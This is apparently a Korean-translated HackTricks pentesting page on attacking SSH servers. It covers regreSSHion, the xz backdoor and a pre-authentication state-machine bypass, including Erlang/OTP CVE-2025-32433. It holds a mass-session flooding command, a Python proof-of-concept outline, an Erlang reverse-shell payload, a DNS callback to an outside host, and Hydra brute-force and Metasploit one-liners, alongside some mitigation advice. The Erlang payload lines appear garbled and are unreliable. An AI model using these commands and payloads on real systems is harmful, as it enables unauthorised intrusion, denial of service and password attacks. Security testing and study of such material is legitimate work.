SSH ์„œ๋ฒ„ ๊ตฌ์„ฑ์„ ๊ฒ€ํ† ํ•˜์—ฌ ์˜ˆ์ƒ๋œ ๋ฐฉ๋ฒ•๋งŒ ํ—ˆ์šฉ๋˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ์˜ verbose mode๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ตฌ์„ฑ์˜ ํšจ๊ณผ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ตฌ์„ฑ ํŒŒ์ผ

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

์ตœ๊ทผ ์น˜๋ช…์  ์ทจ์•ฝ์  (2024)

CVE-2024-6387 โ€“ regreSSHion signal-handler race

OpenSSH 8.5p1โ€“9.7p1์€ sshd์˜ SIGALRM ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์—์„œ async-safe ๋กœ๊น… ๊ฐ€๋“œ๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ CVE-2006-5051์„ ์žฌ๋„์ž…ํ–ˆ๊ณ , LoginGraceTime์ด ๋งŒ๋ฃŒ๋˜์ž๋งˆ์ž ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ glibc ํž™์„ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Qualys๋Š” ์ด ๋ฒ„๊ทธ๋ฅผ 32-bit Linux์—์„œ root RCE๋กœ ๋ฌด๊ธฐํ™”ํ–ˆ์œผ๋ฉฐ, ์ถฉ๋ถ„ํ•œ ์‹œ๋„๋กœ 64-bit ๋Œ€์ƒ๋„ ์—ฌ์ „ํžˆ ๋ธŒ๋ฃจํŠธํฌ์Šค ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์–ธ๊ธ‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐฐ๋„ˆ ์ˆ˜์ง‘ ์‹œ ํ•ด๋‹น ๋ฒ„์ „์„ ๋…ธ์ถœํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ๊ฒ€์‚ฌํ•˜์„ธ์š”.

์ต์Šคํ”Œ๋กœ์ž‡์€ ํƒ€์ด๋ฐ ๊ธฐ๋ฐ˜์ž…๋‹ˆ๋‹ค: ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๋Š” ๋ฐ˜์ฏค ์—ด๋ฆฐ ์„ธ์…˜์œผ๋กœ ๋ฐ๋ชฌ์„ ๊ฐ•ํ•˜๊ฒŒ ๋ˆ„๋ฅด๋ฉด์„œ privileged monitor๊ฐ€ ์ทจ์•ฝํ•œ ์‹œ๊ทธ๋„ ๊ฒฝ๋กœ๋ฅผ ๋ฐ˜๋ณต์ ์œผ๋กœ ํ˜ธ์ถœํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ , ๊ทธ ๋™์•ˆ allocator ์ƒํƒœ๋ฅผ ์กฐ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์šด์˜์ž ํŒ:

  • ssh -V(์›๊ฒฉ ๋ฐฐ๋„ˆ) ๋˜๋Š” ssh -G <target> | grep ^userauths๋กœ ๋นŒ๋“œ๋ฅผ ์ง€๋ฌธํ™”ํ•˜๊ณ  LoginGraceTime์ด 0์ด ์•„๋‹Œ์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ์—ฐ๊ตฌ์‹ค ๋Œ€์ƒ์— ๋Œ€ํ•ด ์งง๊ฒŒ ์œ ์ง€๋˜๋Š” ์ธ์ฆ ์š”์ฒญ ์—†๋Š” ์„ธ์…˜์„ ๋Œ€๋Ÿ‰์œผ๋กœ ๋ณด๋‚ด ์••๋ ฅ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜์„ธ์š”. ์˜ˆ:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • LoginGraceTime 0์„ ๊ฐ•์ œํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋Š” ๋ฌธ์ œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ์ „ํ˜€ ํƒ€์ง€ ์•Š์Šต๋‹ˆ๋‹คโ€”์ด ๊ฒฝ์šฐ MaxStartups๋ฅผ ์†Œ๋ชจ์‹œ์ผœ DoS๋ฅผ ์œ ๋„ํ•˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋งŒ ๊ธฐ๋Œ€ํ•˜์„ธ์š”.

CVE-2024-3094 โ€“ xz/liblzma ๊ณต๊ธ‰๋ง ๋ฐฑ๋„์–ด

XZ Utils 5.6.0 ๋ฐ 5.6.1์€ ํŠธ๋กœ์ด ๋ชฉ๋งˆํ™”๋œ ๋ฆด๋ฆฌ์Šค tarball์„ ๋ฐฐํฌํ–ˆ์œผ๋ฉฐ, ๊ทธ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๋Š” x86-64 Linux์˜ Debian/RPM ํŒจํ‚ค์ง• ๊ณผ์ •์—์„œ ์ˆจ๊ฒจ์ง„ ์˜ค๋ธŒ์ ํŠธ๋ฅผ ํ’€์–ด๋ƒ…๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋Š” glibc์˜ IFUNC resolver๋ฅผ ์•…์šฉํ•ด sshd์—์„œ RSA_public_decrypt๋ฅผ ํ›…ํ•˜๊ณ (ํŠนํžˆ systemd ํŒจ์น˜๋กœ liblzma๊ฐ€ ๋กœ๋“œ๋  ๋•Œ) ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ช…ํ•œ ํŒจํ‚ท์„ ์ˆ˜์šฉํ•ด pre-auth ์ฝ”๋“œ ์‹คํ–‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์•…์„ฑ ๋กœ์ง์ด ํ•ด๋‹น ํŒจํ‚ค์ง€ํ™”๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด๋ถ€์—๋งŒ ์กด์žฌํ•˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์  ๊ฒ€์ฆ์€ ์‹ค์ œ๋กœ ํ”ผํ•ด์ž๊ฐ€ ๋ฌด์—‡์„ ์„ค์น˜ํ–ˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: xz --version, rpm -qi xz/dpkg -l xz-utils๋ฅผ ํ™•์ธํ•˜๊ณ  /usr/lib*/liblzma.so*์˜ ํ•ด์‹œ๋ฅผ ๋น„๊ตํ•˜๋ฉฐ ldd /usr/sbin/sshd | grep -E "systemd|lzma"๋กœ sshd๊ฐ€ ํ•ด๋‹น ์†์ƒ๋œ ์˜์กด์„ฑ์„ ๋ถˆ๋Ÿฌ์˜ค๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ํ›…์€ ํ”„๋กœ์„ธ์Šค ๊ฒฝ๋กœ๊ฐ€ /usr/sbin/sshd์ผ ๋•Œ๋งŒ ํ™œ์„ฑํ™”๋˜๋ฏ€๋กœ, ์‹คํ—˜์‹ค์—์„œ ๋ฐฑ๋„์–ด๋ฅผ ์žฌํ˜„ํ•˜๋ ค๋ฉด ๋ฐฐํฌํŒ ๋นŒ๋“œ ํ™˜๊ฒฝ์„ ์žฌํ˜„ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

Authentication State-Machine Bypass (Pre-Auth RCE)

์—ฌ๋Ÿฌ SSH ์„œ๋ฒ„ ๊ตฌํ˜„์ฒด์—๋Š” authentication finite-state machine์˜ ๋…ผ๋ฆฌ์  ๊ฒฐํ•จ์ด ์žˆ์–ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ธ์ฆ์ด ์™„๋ฃŒ๋˜๊ธฐ ์ „์— connection-protocol ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ ์ƒํƒœ์— ์žˆ๋Š”์ง€๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ํ•ด๋‹น ๋ฉ”์‹œ์ง€๋Š” ๋งˆ์น˜ ์‚ฌ์šฉ์ž๊ฐ€ ์™„์ „ํžˆ ์ธ์ฆ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ์ฒ˜๋ฆฌ๋˜์–ด unauthenticated code execution ๋˜๋Š” ์„ธ์…˜ ์ƒ์„ฑ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœํ† ์ฝœ ์ˆ˜์ค€์—์„œ, message code โ‰ฅ 80 (0x50)์„ ๊ฐ€์ง„ ๋ชจ๋“  SSH ๋ฉ”์‹œ์ง€๋Š” connection ๋ ˆ์ด์–ด(RFC 4254)์— ์†ํ•˜๋ฉฐ ์„ฑ๊ณต์ ์ธ ์ธ์ฆ ํ›„์—๋งŒ ์ˆ˜๋ฝ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(RFC 4252). ์„œ๋ฒ„๊ฐ€ ํ•ด๋‹น ๋ฉ”์‹œ์ง€๋“ค ์ค‘ ํ•˜๋‚˜๋ฅผ ์•„์ง SSH_AUTHENTICATION ์ƒํƒœ์ธ ๋™์•ˆ ์ฒ˜๋ฆฌํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ฆ‰์‹œ ์ฑ„๋„์„ ์ƒ์„ฑํ•˜๊ณ  ๋ช…๋ น ์‹คํ–‰, ํฌํŠธ ํฌ์›Œ๋”ฉ ๋“ฑ๊ณผ ๊ฐ™์€ ๋™์ž‘์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜์  ์ต์Šคํ”Œ๋กœ์ž‡ ๋‹จ๊ณ„

  1. ํƒ€๊นƒ์˜ SSH ํฌํŠธ(์ผ๋ฐ˜์ ์œผ๋กœ 22, ๊ทธ๋Ÿฌ๋‚˜ ๋‹ค๋ฅธ ์„œ๋น„์Šค๊ฐ€ 2022, 830, 2222 ๋“ฑ์—์„œ Erlang/OTP๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Œ)์— TCP ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•ฉ๋‹ˆ๋‹ค.
  2. ์›์‹œ SSH ํŒจํ‚ท์„ ์ œ์ž‘ํ•ฉ๋‹ˆ๋‹ค:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code โ‰ฅ 80 (์˜ˆ: SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • ์„ ํƒํ•œ ๋ฉ”์‹œ์ง€ ํƒ€์ž…์ด ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ
  1. ์–ด๋–ค ์ธ์ฆ ๋‹จ๊ณ„๋„ ์™„๋ฃŒํ•˜๊ธฐ ์ „์— ๊ทธ ํŒจํ‚ท๋“ค์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  2. ์ด์ œ pre-auth๋กœ ๋…ธ์ถœ๋œ ์„œ๋ฒ„ API์™€ ์ƒํ˜ธ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค(๋ช…๋ น ์‹คํ–‰, ํฌํŠธ ํฌ์›Œ๋”ฉ, ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ ๋“ฑ).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity โ€“ send your own client banner then read server banner
# โ€ฆ key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

์‹ค์ œ ํ™˜๊ฒฝ์—์„œ๋Š” ํƒ€๊นƒ ๊ตฌํ˜„์— ๋”ฐ๋ผ ํ‚ค ๊ตํ™˜์„ ์ˆ˜ํ–‰(๋˜๋Š” ์ƒ๋žต)ํ•ด์•ผ ํ•˜์ง€๋งŒ, ์ธ์ฆ์€ ์ „ํ˜€ ์ˆ˜ํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.


Erlang/OTP sshd (CVE-2025-32433)

  • ์˜ํ–ฅ ๋ฐ›๋Š” ๋ฒ„์ „: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • ๊ทผ๋ณธ ์›์ธ: Erlang ๋„ค์ดํ‹ฐ๋ธŒ SSH ๋ฐ๋ชฌ์ด ssh_connection:handle_msg/2๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ํ˜„์žฌ ์ƒํƒœ๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฉ”์‹œ์ง€ ์ฝ”๋“œ 80-255๋ฅผ ๊ฐ€์ง„ ๋ชจ๋“  ํŒจํ‚ท์ด ์„ธ์…˜์ด ์—ฌ์ „ํžˆ userauth ์ƒํƒœ์ธ ๋™์•ˆ ์—ฐ๊ฒฐ ํ•ธ๋“ค๋Ÿฌ์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: ์ธ์ฆ๋˜์ง€ ์•Š์€ remote code execution (๋ฐ๋ชฌ์€ ๋ณดํ†ต ์ž„๋ฒ ๋””๋“œ/OT ์žฅ์น˜์—์„œ root๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค).

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฑ„๋„์— ๋ฐ”์ธ๋“œ๋œ reverse shell์„ ์ƒ์„ฑํ•˜๋Š” ์˜ˆ์ œ payload:

% open a channel first โ€ฆ then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection์€ DNS๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

ํƒ์ง€ ๋ฐ ์™„ํ™”:

  • SSH ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌ: ์ธ์ฆ ์ด์ „์— ๊ด€์ธก๋œ ๋ฉ”์‹œ์ง€ ์ฝ”๋“œ โ‰ฅ 80์ธ ํŒจํ‚ท์€ ๋ชจ๋‘ ๋“œ๋กญ.
  • Erlang/OTP๋ฅผ 27.3.3 / 26.2.5.11 / 25.3.2.20 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ.
  • ๊ด€๋ฆฌ ํฌํŠธ(22/2022/830/2222)์˜ ๋…ธ์ถœ์„ ์ œํ•œ โ€“ ํŠนํžˆ OT ์žฅ๋น„์—์„œ.

์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋‹ค๋ฅธ ๊ตฌํ˜„์ฒด

  • libssh 0.6 โ€“ 0.8 (์„œ๋ฒ„ ์ธก) โ€“ CVE-2018-10933 โ€“ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ธ ์ธ์ฆ๋˜์ง€ ์•Š์€ SSH_MSG_USERAUTH_SUCCESS๋ฅผ ์ˆ˜๋ฝํ•˜์—ฌ, ์‚ฌ์‹ค์ƒ ๋ฐ˜๋Œ€ ๋…ผ๋ฆฌ ๊ฒฐํ•จ์ด ๋ฐœ์ƒํ•จ.

๊ณตํ†ต๋œ ๊ตํ›ˆ์€ RFC๊ฐ€ ๊ทœ์ •ํ•œ ์ƒํƒœ ์ „ํ™˜์—์„œ์˜ ์–ด๋–ค ์ดํƒˆ๋„ ์น˜๋ช…์ ์ผ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค; SSH ๋ฐ๋ชฌ์„ ๊ฒ€ํ† ํ•˜๊ฑฐ๋‚˜ ํผ์ง•ํ•  ๋•Œ๋Š” ์ƒํƒœ ๋จธ์‹  ๊ฐ•์ œ ์ ์šฉ์— ํŠนํžˆ ์ฃผ์˜ํ•˜๋ผ.

์ฐธ์กฐ

HackTricks ์ž๋™ ๋ช…๋ น

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ